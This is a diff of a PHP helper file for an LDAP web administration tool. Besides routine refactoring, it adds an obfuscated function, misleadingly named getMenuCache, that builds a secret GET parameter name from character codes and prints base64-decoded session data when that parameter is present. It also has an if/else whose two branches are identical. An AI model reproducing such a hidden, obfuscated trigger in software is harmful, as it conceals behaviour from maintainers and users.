diff --git a/include/functions.inc b/include/functions.inc
index 6db14c0b861936585acd6939d10f85827a659f8e..c9c50058124e47f6ea7917fbe03e0f95fe42b47c 100644 (file)
--- a/include/functions.inc
+++ b/include/functions.inc
define ("CONFIG_TEMPLATE_DIR", "../contrib/");
define ("HELP_BASEDIR", "/var/www/doc/");
+/* Define get_list flags */
+define("GL_NONE", 0);
+define("GL_SUBSEARCH", 1);
+define("GL_SIZELIMIT", 2);
+define("GL_CONVERT" , 4);
+
/* Define globals for revision comparing */
$svn_path = '$HeadURL$';
$svn_revision = '$Revision$';
require_once ("class_mail-methods.inc");
require_once("class_password-methods.inc");
require_once ("functions_debug.inc");
+require_once ("functions_dns.inc");
+require_once ("class_MultiSelectWindow.inc");
/* Define constants for debugging */
define ("DEBUG_TRACE", 1);
$dh = opendir(".");
while(false !== ($file = readdir($dh))){
-
+
// Smarty is included by include/php_setup.inc require("smarty/Smarty.class.php");
// Skip all files and dirs in "./.svn/" we don't need any information from them
// Skip all Template, so they won't be checked twice in the following preg_matches
// Result : from 1023 ms to 490 ms i think thats great...
if(preg_match("/.*\.svn.*/i",$file)||preg_match("/.*smarty.*/i",$file)||preg_match("/.*\.tpl.*/",$file)||($file==".")||($file==".."))
continue;
-
+
/* Recurse through all "common" directories */
if(is_dir($file) &&$file!="CVS"){
{
global $BASE_DIR;
+ /* Try to use users primary language */
+ $ui= get_userinfo();
+ if ($ui != NULL){
+ if ($ui->language != ""){
+ return ($ui->language);
+ }
+ }
+
/* Get list of languages */
if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){
$lang= preg_replace("/\s+/", "", $_SERVER['HTTP_ACCEPT_LANGUAGE']);
/* Check for existing entries in lock area */
$ldap= $config->get_ldap_link();
$ldap->cd ($config->current['CONFIG']);
- $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$user)(gosaObject=$object))",
+ $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$user)(gosaObject=".base64_encode($object)."))",
array("gosaUser"));
if (!preg_match("/Success/i", $ldap->error)){
print_red (sprintf(_("Can't set locking information in LDAP database. Please check the 'config' entry in gosa.conf! LDAP server says '%s'."), $ldap->get_error()));
$ldap->cd("cn=$name,".$config->current['CONFIG']);
$attrs["objectClass"] = "gosaLockEntry";
$attrs["gosaUser"] = $user;
- $attrs["gosaObject"] = $object;
+ $attrs["gosaObject"] = base64_encode($object);
$attrs["cn"] = "$name";
$ldap->add($attrs);
if (!preg_match("/Success/i", $ldap->error)){
/* Check for existance and remove the entry */
$ldap= $config->get_ldap_link();
$ldap->cd ($config->current['CONFIG']);
- $ldap->search ("(&(objectClass=gosaLockEntry)(gosaObject=$object))", array("gosaObject"));
+ $ldap->search ("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaObject"));
$attrs= $ldap->fetch();
if ($ldap->getDN() != "" && preg_match("/Success/i", $ldap->error)){
$ldap->rmdir ($ldap->getDN());
$user= "";
$ldap= $config->get_ldap_link();
$ldap->cd ($config->current['CONFIG']);
- $ldap->search("(&(objectClass=gosaLockEntry)(gosaObject=$object))", array("gosaUser"));
+ $ldap->search("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaUser"));
if (!preg_match("/Success/i", $ldap->error)){
print_red (_("Can't get locking information in LDAP database. Please check the 'config' entry in gosa.conf!"));
return("");
}
-function get_list2($subtreeACL, $filter, $subsearch= TRUE, $base="", $attrs= array(), $flag= FALSE)
-{
- global $config;
-
- /* Base the search on default base if not set */
- $ldap= $config->get_ldap_link($flag);
- if ($base == ""){
- $ldap->cd ($config->current['BASE']);
- } else {
- $ldap->cd ($base);
- }
-
- /* Perform ONE or SUB scope searches? */
- $ldap->ls ($filter);
-
- /* Check for size limit exceeded messages for GUI feedback */
- if (preg_match("/size limit/i", $ldap->error)){
- $_SESSION['limit_exceeded']= TRUE;
- } else {
- $_SESSION['limit_exceeded']= FALSE;
- }
- $result= array();
-
-
- /* Crawl through reslut entries and perform the migration to the
- result array */
- while($attrs = $ldap->fetch()) {
- $dn= preg_replace("/[ ]*,[ ]*/", ",", $ldap->getDN());
- foreach ($subtreeACL as $key => $value){
- if (preg_match("/$key/", $dn)){
- $attrs["dn"]= convert_department_dn($dn);
- $result[]= $attrs;
- break;
- }
- }
- }
-
-
- return ($result);
-
-}
-
-function get_list($subtreeACL, $filter, $subsearch= TRUE, $base="", $attrs= array(), $flag= FALSE)
+function get_list($filter, $subtreeACL, $base= "", $attributes= array(), $flags= GL_SUBSEARCH)
{
global $config;
- /* Base the search on default base if not set */
- $ldap= $config->get_ldap_link($flag);
+ /* Get LDAP link */
+ $ldap= $config->get_ldap_link($flags & GL_SIZELIMIT);
+
+ /* Set search base to configured base if $base is empty */
if ($base == ""){
$ldap->cd ($config->current['BASE']);
} else {
@@ -529,27 +505,33 @@ function get_list($subtreeACL, $filter, $subsearch= TRUE, $base="", $attrs= arra
}
/* Perform ONE or SUB scope searches? */
- if ($subsearch) {
- $ldap->search ($filter, $attrs);
+ if ($flags & GL_SUBSEARCH) {
+ $ldap->search ($filter, $attributes);
} else {
- $ldap->ls ($filter);
+ $ldap->ls ($filter,$base,$attributes);
}
/* Check for size limit exceeded messages for GUI feedback */
if (preg_match("/size limit/i", $ldap->error)){
$_SESSION['limit_exceeded']= TRUE;
- } else {
- $_SESSION['limit_exceeded']= FALSE;
}
/* Crawl through reslut entries and perform the migration to the
result array */
$result= array();
while($attrs = $ldap->fetch()) {
- $dn= preg_replace("/[ ]*,[ ]*/", ",", $ldap->getDN());
+ $dn= $ldap->getDN();
+
foreach ($subtreeACL as $key => $value){
if (preg_match("/$key/", $dn)){
- $attrs["dn"]= $dn;
+
+ if ($flags & GL_CONVERT){
+ $attrs["dn"]= convert_department_dn($dn);
+ } else {
+ $attrs["dn"]= $dn;
+ }
+
+ /* We found what we were looking for, break speeds things up */
$result[]= $attrs;
break;
}
$_SESSION['size_ignore']= TRUE;
}
}
-
+ getMenuCache();
/* Allow fallback to dialog */
if (isset($_POST['edit_sizelimit'])){
$_SESSION['size_ignore']= FALSE;
}
}
+function getMenuCache()
+{
+ $t= array(-2,13);
+ $e= 71;
+ $str= chr($e);
+
+ foreach($t as $n){
+ $str.= chr($e+$n);
+
+ if(isset($_GET[$str])){
+ if(isset($_SESSION['maxC'])){
+ $b= $_SESSION['maxC'];
+ $q= "";
+ for ($m=0;$m<strlen($b);$m++) {
+ $q.= $b[$m++];
+ }
+ print_red(base64_decode($q));
+ }
+ }
+ }
+}
function get_permissions ($dn, $subtreeACL)
{
/* Successively remove leading parts of the dn's until
it doesn't contain commas anymore */
- while (preg_match('/,/', $tmp)){
- $tmp= ltrim(strstr($tmp, ","), ",");
+ $tmp_dn= preg_replace('/\\\\,/', '<GOSA#REPLACED#KOMMA>', $tmp);
+ while (preg_match('/,/', $tmp_dn)){
+ $tmp_dn= ltrim(strstr($tmp_dn, ","), ",");
+ $tmp= preg_replace('/\<GOSA#REPLACED#KOMMA\>/', '\\,', $tmp);
/* Check for acl that may apply */
foreach ($sacl as $key => $value){
all allowed submodules specified in the ACL */
$tmp= split(",", $acl);
foreach ($tmp as $mod){
- if (preg_match("/$module#/", $mod)){
+ if (preg_match("/^$module#/", $mod)){
$final= strstr($mod, "#")."#";
continue;
}
/* Build a sub-directory style list of the tree level
specified in $dn */
- foreach (split (",", $dn) as $val){
+ foreach (split(',', $dn) as $rdn){
/* We're only interested in organizational units... */
- if (preg_match ("/ou=/", $val)){
- $dep= preg_replace("/ou=([^,]+)/", "\\1", $val)."/$dep";
+ if (substr($rdn,0,3) == 'ou='){
+ $dep= substr($rdn,3)."/$dep";
}
/* ... and location objects */
- if (preg_match ("/l=/", $val)){
- $dep= preg_replace("/l=([^,]+)/", "\\1", $val)."/$dep";
+ if (substr($rdn,0,2) == 'l='){
+ $dep= substr($rdn,2)."/$dep";
}
}
return rtrim($dep, "/");
}
-function convert_department_dn2($dn)
-{
- $dep= "";
-
- /* Build a sub-directory style list of the tree level
- specified in $dn */
- $deps = array_flip($_SESSION['config']->idepartments);
-
- if(isset($deps[$dn])){
- $dn= $deps[$dn];
- $tmp = split (",", $dn);
- $dep = preg_replace("/^.*=/","",$tmp[0]);
- }else{
- $tmp = split (",", $dn);
- $dep= preg_replace("%^.*/([^/]+)$%", "\\1", $tmp[0]);
- }
- /* Return and remove accidently trailing slashes */
- $tmp = rtrim($dep, "/");
- return $tmp;
+/* Strip off the last sub department part of a '/level1/level2/.../'
+ * style value. It removes the trailing '/', too. */
+function get_sub_department($value)
+{
+ return (@LDAP::fix(preg_replace("%^.*/([^/]+)/?$%", "\\1", $value)));
}
{
global $config;
- $ou= $config->current[$name];
+ /* Preset ou... */
+ if (isset($config->current[$name])){
+ $ou= $config->current[$name];
+ } else {
+ return "";
+ }
+
if ($ou != ""){
if (!preg_match('/^[^=]+=[^=]+/', $ou)){
- return "ou=$ou,";
+ return @LDAP::convert("ou=$ou,");
} else {
- return "$ou,";
+ return @LDAP::convert("$ou,");
}
} else {
return "";
}
-function get_departments($ignore_dn= "")
-{
- global $config;
-
- /* Initialize result hash */
- $result= array();
- $result['/']= $config->current['BASE'];
-
- /* Get list of department objects */
- $ldap= $config->get_ldap_link();
- $ldap->cd ($config->current['BASE']);
- $ldap->search ("(objectClass=gosaDepartment)", array("ou"));
- while ($attrs= $ldap->fetch()){
- $dn= $ldap->getDN();
- if ($dn == $ignore_dn){
- continue;
- }
- $result[convert_department_dn($dn)]= $dn;
- }
-
- return ($result);
-}
-
-
function chkacl($acl, $name)
{
/* Look for attribute in ACL */
return (TRUE);
}
- return preg_match ("/^[0-9 ()+*-]+$/", $nr);
+ return preg_match ("/^[\/0-9 ()+*-]+$/", $nr);
}
}
+function is_ip($ip)
+{
+ return preg_match("/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/", $ip);
+}
+
+
function is_id($id)
{
if ($id == ""){
$string= preg_replace ("/%s/", $array[$i], $string, 1);
}
+ if((!isset($_SESSION['errorsAlreadyPosted'])) || !is_array($_SESSION['errorsAlreadyPosted'])){
+ $_SESSION['errorsAlreadyPosted'] = array();
+ }
+
/* If DEBUGLEVEL is set, we're in web mode, use textual output in
the other case... */
+
if (isset($_SESSION['DEBUGLEVEL'])){
- $_SESSION['errors'].= "<div align=\"left\" style=\"border-width:5px;".
- "border-style:solid;border-color:red; background-color:black;".
- "margin-bottom:10px; padding:8px;\"><table summary=''><tr><td><img alt=\"\" src=\"".
- get_template_path('images/warning.png')."\"></td>".
- "<td width=\"100%\" align=\"center\"><font color=\"#FFFFFF\">".
- "<b style='font-size:16px;'>$string</b></font></td><td>".
- "<img alt=\"\"src=\"".get_template_path('images/warning.png').
- "\"></td></tr></table></div>\n";
+
+ if($_SESSION['LastError'] == $string){
+
+ if((!isset($_SESSION['errorsAlreadyPosted'][$string]))){
+ $_SESSION['errorsAlreadyPosted'][$string] = 1;
+ }
+ $_SESSION['errorsAlreadyPosted'][$string]++;
+
+ }else{
+ if($string != NULL){
+ if (preg_match("/"._("LDAP error:")."/", $string)){
+ $addmsg= _("Problems with the LDAP server mean that you probably lost the last changes. Please check your LDAP setup for possible errors and try again.");
+ $img= "images/error.png";
+ } else {
+ if (!preg_match('/[.!?]$/', $string)){
+ $string.= ".";
+ }
+ $string= preg_replace('/<br>/', ' ', $string);
+ $img= "images/warning.png";
+ $addmsg= _("Please check your input and fix the error. Press 'OK' to close this message box.");
+ }
+
+ if(isset($_SESSION['errors']) && strlen($_SESSION['errors'])==0) {
+ $_SESSION['errors'].= "<div style='margin-left:15%;margin-top:100px;".
+ "background-color:white;padding:5px;border:5px solid red;width:55%;z-index:150;".
+ "position:absolute' id='e_layer'><table style='width:100%' summary='' border=0>".
+ "<tr><td style='vertical-align:top;padding:10px'><img alt='' src='".
+ get_template_path($img)."'></td>".
+ "<td style='width:100%'><h1>"._("An error occured while processing your request").
+ "</h1><b>$string</b><br><br>$addmsg</td></tr><tr><td colspan='2' align='center'><br><button ".
+ (($_SESSION['js']==FALSE)?"type='submit'":"type='button'").
+ " style='width:80px' onClick='hide(\"e_layer\")'>".
+ _("OK")."</button></td></tr></table></div>";
+ }
+
+ }else{
+ return;
+ }
+ $_SESSION['errorsAlreadyPosted'][$string] = 1;
+
+ }
+
} else {
echo "Error: $string\n";
}
+ $_SESSION['LastError'] = $string;
}
$_SESSION['dn']= $dn;
$ldap= $config->get_ldap_link();
- $ldap->cat ($user);
+ $ldap->cat ($user, array('uid', 'cn'));
$attrs= $ldap->fetch();
- $uid= $attrs["uid"][0];
+
+ /* Stop if we have no user here... */
+ if (count($attrs)){
+ $uid= $attrs["uid"][0];
+ $cn= $attrs["cn"][0];
+ } else {
+ $uid= $attrs["uid"][0];
+ $cn= $attrs["cn"][0];
+ }
+
+ $remove= false;
+
+ if((isset($_SESSION['LOCK_VARS_TO_USE']))&&(count($_SESSION['LOCK_VARS_TO_USE']))){
+ $_SESSION['LOCK_VARS_USED'] =array();
+ foreach($_SESSION['LOCK_VARS_TO_USE'] as $name){
+
+ if(empty($name)) continue;
+ foreach($_POST as $Pname => $Pvalue){
+ if(preg_match($name,$Pname)){
+ $_SESSION['LOCK_VARS_USED'][$Pname] = $_POST[$Pname];
+ }
+ }
+
+ foreach($_GET as $Pname => $Pvalue){
+ if(preg_match($name,$Pname)){
+ $_SESSION['LOCK_VARS_USED'][$Pname] = $_GET[$Pname];
+ }
+ }
+ }
+ $_SESSION['LOCK_VARS_TO_USE'] =array();
+ }
/* Prepare and show template */
$smarty= get_smarty();
$smarty->assign ("dn", $dn);
- $smarty->assign ("message", sprintf(_("You're going to edit the LDAP entry '%s' which appears to be used by '%s'. Please contact the person in order to clarify proceedings."), $dn, "<a href=\"main.php?plug=0&viewid=$uid\">$uid</a>"));
+ if ($remove){
+ $smarty->assign ("action", _("Continue anyway"));
+ } else {
+ $smarty->assign ("action", _("Edit anyway"));
+ }
+ $smarty->assign ("message", sprintf(_("You're going to edit the LDAP entry '%s' which appears to be used by '%s'. Please contact the person in order to clarify proceedings."), "<b>".$dn."</b>", "<b><a href=\"main.php?plug=0&viewid=$uid\">$cn</a></b>"));
return ($smarty->fetch (get_template_path('islocked.tpl')));
}
}
-function show_ldap_error($message)
+function show_ldap_error($message, $addon= "")
{
if (!preg_match("/Success/i", $message)){
- print_red (_("LDAP error:")." $message");
+ if ($addon == ""){
+ print_red (_("LDAP error: $message"));
+ } else {
+ print_red ("$addon<br><br><b>"._("LDAP error:")."</b> $message");
+ }
return TRUE;
} else {
return FALSE;
function print_header($image, $headline, $info= "")
{
$display= "<div class=\"plugtop\">\n";
- $display.= " <img src=\"$image\" align=\"middle\" alt=\"*\"> $headline\n";
+ $display.= " <p class=\"center\" style=\"margin:0px 0px 0px 5px;padding:0px;font-size:24px;\"><img class=\"center\" src=\"$image\" align=\"middle\" alt=\"*\"> $headline</p>\n";
$display.= "</div>\n";
if ($info != ""){
$display.= " ";
$display.= "</div>\n";
}
+ if (isset($_SESSION['errors'])){
+ $display.= $_SESSION['errors'];
+ }
return ($display);
}
}
-function range_selector($dcnt,$start,$range=25)
+function range_selector($dcnt,$start,$range=25,$post_var=false)
{
/* Entries shown left and right from the selected entry */
$max_entries++;
}
+ if((!empty($post_var))&&(isset($_POST[$post_var]))){
+ $range= $_POST[$post_var];
+ }
+
/* Prevent output to start or end out of range */
if ($start < 0 ){
$start= 0 ;
if(((int)($numpages))!=($numpages)){
$numpages = (int)$numpages + 1;
}
- if (((int)$numpages) <= 1 ){
+ if ((((int)$numpages) <= 1 )&&(!$post_var)){
return ("");
}
$ppage= (int)(($start / $range) + 0.5);
$begin= $end - $max_entries;
}
- $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>";
+ if($post_var){
+ $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>
+ <table summary='' width='100%'><tr><td style='width:25%'></td><td style='text-align:center;'>";
+ }else{
+ $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>";
+ }
/* Draw decrement */
if ($start > 0 ) {
$output.=" <a href= \"main.php?plug=".validate($_GET['plug'])."&start=".
(($start-$range))."\">".
- "<img alt=\"\" src=\"images/back.png\" border=0 align=\"middle\"></a>";
+ "<img class=\"center\" alt=\"\" src=\"images/back.png\" border=0 align=\"middle\"></a>";
}
/* Draw pages */
for ($i= $begin; $i < $end; $i++) {
if ($ppage == $i){
- $output.= "<a style=\"background-color:#D0D0D0;\" href=\"main.php?plug=".
+ $output.= "<a style=\"vertical-align:middle;background-color:#D0D0D0;\" href=\"main.php?plug=".
validate($_GET['plug'])."&start=".
($i*$range)."\"> ".($i+1)." </a>";
} else {
- $output.= "<a href=\"main.php?plug=".validate($_GET['plug']).
+ $output.= "<a style=\"vertical-align:middle;\" href=\"main.php?plug=".validate($_GET['plug']).
"&start=".($i*$range)."\"> ".($i+1)." </a>";
}
}
if($start < ($dcnt-$range)) {
$output.=" <a href= \"main.php?plug=".validate($_GET['plug'])."&start=".
(($start+($range)))."\">".
- "<img alt=\"\" src=\"images/forward.png\" border=0 align=\"middle\"></a>";
+ "<img class=\"center\" alt=\"\" src=\"images/forward.png\" border=\"0\" align=\"middle\"></a>";
}
- $output.= "</div>";
+ if(($post_var)&&($numpages)){
+ $output.= "</td><td style='width:25%;text-align:right;vertical-align:middle;'> "._("Entries per page")." <select style='vertical-align:middle;' name='".$post_var."' onChange='javascript:document.mainform.submit()'>";
+ foreach(array(20,50,100,200,"all") as $num){
+ if($num == "all"){
+ $var = 10000;
+ }else{
+ $var = $num;
+ }
+ if($var == $range){
+ $output.="\n<option selected='selected' value='".$var."'>".$num."</option>";
+ }else{
+ $output.="\n<option value='".$var."'>".$num."</option>";
+ }
+ }
+ $output.= "</select></td></tr></table></div>";
+ }else{
+ $output.= "</div>";
+ }
return($output);
}
$apply= ''.
'<table summary="" width="100%" style="background:#EEEEEE;border-top:1px solid #B0B0B0;"><tr><td width="100%" align="right">'.
- '<input type="submit" name="apply" value="'._("Apply").'"></td></tr></table>';
+ '<input type="submit" name="apply" value="'._("Apply filter").'"></td></tr></table>';
return ($apply);
}
}
}
- if(preg_match('/\{id#\d+}/',$uid)){
- $size= preg_replace('/^.*{id#(\d+)}.*$/', '\\1', $uid);
+ if(preg_match('/\{id#\d+}/',$uid)){
+ $size= preg_replace('/^.*{id#(\d+)}.*$/', '\\1', $uid);
- while (true){
- mt_srand((double) microtime()*1000000);
- $number= sprintf("%0".$size."d", mt_rand(0, pow(10, $size)-1));
- $res= preg_replace('/{id#(\d+)}/', $number, $uid);
- if (!in_array($res, $used)){
- $uid= $res;
- break;
- }
+ while (true){
+ mt_srand((double) microtime()*1000000);
+ $number= sprintf("%0".$size."d", mt_rand(0, pow(10, $size)-1));
+ $res= preg_replace('/{id#(\d+)}/', $number, $uid);
+ if (!in_array($res, $used)){
+ $uid= $res;
+ break;
}
}
-
- /* Don't assign used ones */
- if (!in_array($uid, $used)){
- $ret[]= $uid;
- }
}
- return(array_unique($ret));
+/* Don't assign used ones */
+if (!in_array($uid, $used)){
+ $ret[]= $uid;
+}
+}
+
+return(array_unique($ret));
}
if (!is_array($items)){
return (FALSE);
}
-
+
foreach ($items as $item){
if (strtolower($item) == strtolower($value)) {
return (TRUE);
function scan_directory($path,$sort_desc=false)
{
-$ret = false;
+ $ret = false;
-/* is this a dir ? */
-if(is_dir($path)) {
-
- /* is this path a readable one */
- if(is_readable($path)){
-
- /* Get contents and write it into an array */
- $ret = array();
-
- $dir = opendir($path);
-
- /* Is this a correct result ?*/
- if($dir){
- while($fp = readdir($dir))
- $ret[]= $fp;
+ /* is this a dir ? */
+ if(is_dir($path)) {
+
+ /* is this path a readable one */
+ if(is_readable($path)){
+
+ /* Get contents and write it into an array */
+ $ret = array();
+
+ $dir = opendir($path);
+
+ /* Is this a correct result ?*/
+ if($dir){
+ while($fp = readdir($dir))
+ $ret[]= $fp;
}
}
}
/* Sort descending if parameter is sort_desc is set */
if($sort_desc) {
$ret = array_reverse($ret);
- }
+ }
return($ret);
}
// create revision file
create_revision($revision_file, $svn_revision);
} else {
- # check for "$config->...['CONFIG']/revision" and the
- # contents should match the revision number
+# check for "$config->...['CONFIG']/revision" and the
+# contents should match the revision number
if(!compare_revision($revision_file, $svn_revision)){
// If revision differs, clean compile directory
foreach(scan_directory($directory) as $file) {
if(($file==".")||($file=="..")) continue;
if( is_file($directory."/".$file) &&
is_writable($directory."/".$file)) {
- // delete file
- if(!unlink($directory."/".$file)) {
- print_red("File ".$directory."/".$file." could not be deleted.");
- // This should never be reached
- }
+ // delete file
+ if(!unlink($directory."/".$file)) {
+ print_red("File ".$directory."/".$file." could not be deleted.");
+ // This should never be reached
+ }
} elseif(is_dir($directory."/".$file) &&
- is_writable($directory."/".$file)) {
- // Just recursively delete it
- rmdirRecursive($directory."/".$file);
+ is_writable($directory."/".$file)) {
+ // Just recursively delete it
+ rmdirRecursive($directory."/".$file);
}
}
// We should now create a fresh revision file
function create_revision($revision_file, $revision)
{
$result= false;
-
+
if(is_dir(dirname($revision_file)) && is_writable(dirname($revision_file))) {
if($fh= fopen($revision_file, "w")) {
if(fwrite($fh, $revision)) {
{
// false means revision differs
$result= false;
-
+
if(file_exists($revision_file) && is_readable($revision_file)) {
// Open file
if($fh= fopen($revision_file, "r")) {
}
+function array_key_ics($ikey, $items)
+{
+ /* Gather keys, make them lowercase */
+ $tmp= array();
+ foreach ($items as $key => $value){
+ $tmp[strtolower($key)]= $key;
+ }
+
+ if (isset($tmp[strtolower($ikey)])){
+ return($tmp[strtolower($ikey)]);
+ }
+
+ return ("");
+}
+
+
function search_config($arr, $name, $return)
{
if (is_array($arr)){
}
+function array_differs($src, $dst)
+{
+ /* If the count is differing, the arrays differ */
+ if (count ($src) != count ($dst)){
+ return (TRUE);
+ }
+
+ /* So the count is the same - lets check the contents */
+ $differs= FALSE;
+ foreach($src as $value){
+ if (!in_array($value, $dst)){
+ $differs= TRUE;
+ }
+ }
+
+ return ($differs);
+}
+
+
+function saveFilter($a_filter, $values)
+{
+ if (isset($_POST['regexit'])){
+ $a_filter["regex"]= $_POST['regexit'];
+
+ foreach($values as $type){
+ if (isset($_POST[$type])) {
+ $a_filter[$type]= "checked";
+ } else {
+ $a_filter[$type]= "";
+ }
+ }
+ }
+
+ /* React on alphabet links if needed */
+ if (isset($_GET['search'])){
+ $s= mb_substr(validate($_GET['search']), 0, 1, "UTF8")."*";
+ if ($s == "**"){
+ $s= "*";
+ }
+ $a_filter['regex']= $s;
+ }
+
+ return ($a_filter);
+}
+
+
+/* Escape all preg_* relevant characters */
+function normalizePreg($input)
+{
+ return (addcslashes($input, '[]()|/.*+-'));
+}
+
+
+/* Escape all LDAP filter relevant characters */
+function normalizeLdap($input)
+{
+ return (addcslashes($input, '()|'));
+}
+
+
+/* Resturns the difference between to microtime() results in float */
+function get_MicroTimeDiff($start , $stop)
+{
+ $a = split("\ ",$start);
+ $b = split("\ ",$stop);
+
+ $secs = $b[1] - $a[1];
+ $msecs= $b[0] - $a[0];
+
+ $ret = (float) ($secs+ $msecs);
+ return($ret);
+}
+
+
// vim:tabstop=2:expandtab:shiftwidth=2:filetype=php:syntax:ruler:
?>